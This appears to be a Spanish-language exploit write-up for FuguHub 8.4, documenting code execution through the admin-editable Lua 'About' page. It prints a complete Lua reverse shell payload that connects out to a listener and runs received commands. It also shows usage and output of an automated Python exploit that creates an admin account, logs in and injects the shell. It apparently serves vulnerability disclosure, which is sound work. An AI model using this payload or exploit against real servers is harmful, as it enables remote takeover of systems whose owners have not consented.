
Ejecución de código arbitrario en FuguHub 8.4
Fuguhub es un software de servidor multimedia en la nube. La versión probada fue la versión Debian en este enlace:
https://fuguhub.com/articles/FuguHub-for-Debian
Un problema en Real Time Logic LLC FuguHub v.8.4 permite a un atacante local ejecutar código arbitrario mediante un script manipulado en la página 'About' del panel de administrador.
Captura de pantalla mostrando la página de descarga de FuguHub
wget FuguHub.com/install/FuguHub.linux.install
chmod +x FuguHub.linux.install
sudo ./FuguHub.linux.install
La página 'About' es una página Lua editable cuyo contenido puede cambiarse a través del panel de administrador. La vulnerabilidad inserta una reverse shell escrita en Lua en la página 'About', que es visible tanto para usuarios conectados como no conectados.
Captura de pantalla mostrando la página 'About' que es editable por el administrador de FuguHub
FuguHub solicita al usuario crear un usuario administrador; esto también se puede hacer en esta página: http://127.0.0.1/rtl/protected/admin/
Una vez creado, el administrador puede personalizar el servidor en este enlace: http://127.0.0.1/rtl/protected/admin/customize.lsp esto permite al usuario editar la página About, la cual vemos que tiene una sección de código Lua donde podemos inyectar código.
Captura de pantalla mostrando código lsp editable que se ejecuta en el lado del servidor para devolver la versión del software, este es el punto de inserción para la reverse shell
Aquí hay un ejemplo de payload:
<?lsp if request:method() == "GET" then ?>
<?lsp
local host, port = "192.168.0.107", 4444
local socket = require("socket")
local tcp = socket.tcp()
local io = require("io")
local connection, err = tcp:connect(host, port)
if not connection then
print("Error connecting: " .. err)
return
end
while true do
local cmd, status, partial = tcp:receive()
if status == "closed" or status == "timeout" then break end
if cmd then
local f = io.popen(cmd, "r")
local s = f:read("*a")
f:close()
tcp:send(s)
end
end
tcp:close()
?>
<?lsp else ?>
Wrong request method, goodBye!
<?lsp end ?>
Un payload alternativo de una sola línea se puede obtener en revshells.com
Captura de pantalla de la reverse shell Lua de revshells.com
Durante mis intentos de automatizar este exploit, encontré CVE-2023-24078, que descubrió una vulnerabilidad de subida de archivos en FuguHub. Ese exploit se hizo usando Python y tenía inicio de sesión y creación de cuentas automatizados. Utilicé la parte de autenticación de ese exploit y luego agregué código que explota mi punto de inserción recién descubierto en la página customize.lsp. Mi exploit en Python está incluido en el repositorio como exploit.py
usage: exploit.py [-h] -r RHOST [-rp RPORT] -l LHOST -p LPORT
┌──(kali㉿kali)-[~/pg/hub]
└─$ python3 exploit.py -r 192.168.XXX.XXX -rp 80 -l 192.168.XXX.XXX -p 5555
[*] Checking for admin user...
[+] No admin user exists yet, creating account with admin:password
[+] User created!
[+] Logging in...
[+] Success! Injecting the reverse shell...
[+] Successfully injected the reverse shell into the About page.
[+] Triggering the reverse shell, check your listener...